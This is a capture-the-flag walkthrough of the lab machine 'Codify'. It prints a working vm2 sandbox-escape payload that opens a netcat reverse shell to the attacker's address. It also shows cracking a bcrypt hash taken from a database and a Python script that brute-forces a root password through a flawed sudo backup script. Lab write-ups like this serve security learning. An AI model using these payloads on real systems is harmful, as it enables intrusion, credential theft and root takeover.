MACHINE INFO

Codify is an easy linux machine which leverages a CVE on vm2 and the knowledge of javascript inorder to create a script for a reverse shell and the basic of any scripting language such as python to create a custom script for privilege escalation through bruteforce attack.

ENUMERATION 

nmap -sV -sC -top-ports 100 10.10.11.239

Nmap scan report for 10.10.11.239
Host is up (0.79s latency).
Not shown: 97 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.78 seconds

We add the ip to our hosts file

echo '10.10.11.239 codify.htb' | sudo tee -a /etc/hosts

The website allows us to run javascript code

img-description

We notice the website uses vm2

img-description

After searching for the exploits on vm2 i came across this CVE-2023-37466 that allows RCE

We craft our payload to create netcat bind and reverse shells to connect with netcat

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.178 4242 >/tmp/f');
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

We then listen on our machine for connections

sudo nc -lnvp 4242

We run the code and immediately “WE ARE IN”. We move to var/www/ and find a directory contact. We move into the directory and find tickets.db

$ cd var/www/  
$ ls
contact
editor
html
$ cd contact
$ ls
index.js
package.json
package-lock.json
templates
tickets.db

We use sqlite3 to get the data in users table. We find a user joshua with a hash

$ sqlite3 tickets.db
.tables
tickets  users  
select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

We crack the hash with john and find the password spongebob1

john --wordlist=/usr/share/dict/rockyou.txt hash.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)
1g 0:00:01:11 DONE (2023-11-07 11:45) 0.01399g/s 19.14p/s 19.14c/s 19.14C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We connect with ssh to the machine

ssh joshua@10.10.11.239
password: spongebob1

PRIVILEGE ESCALATION

We notice a script running at /opt/scripts/mysql-backup.sh. The script allows us to guess the password endless times

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

We create a python script to bruteforce the password of the root

import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

joshua@codify:/tmp$ python3 brute.py
[sudo] password for joshua: 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3

We switch to root and enter the password. We are now r00t

joshua@codify:/tmp$ su
Password: 
root@codify:/tmp#

img-description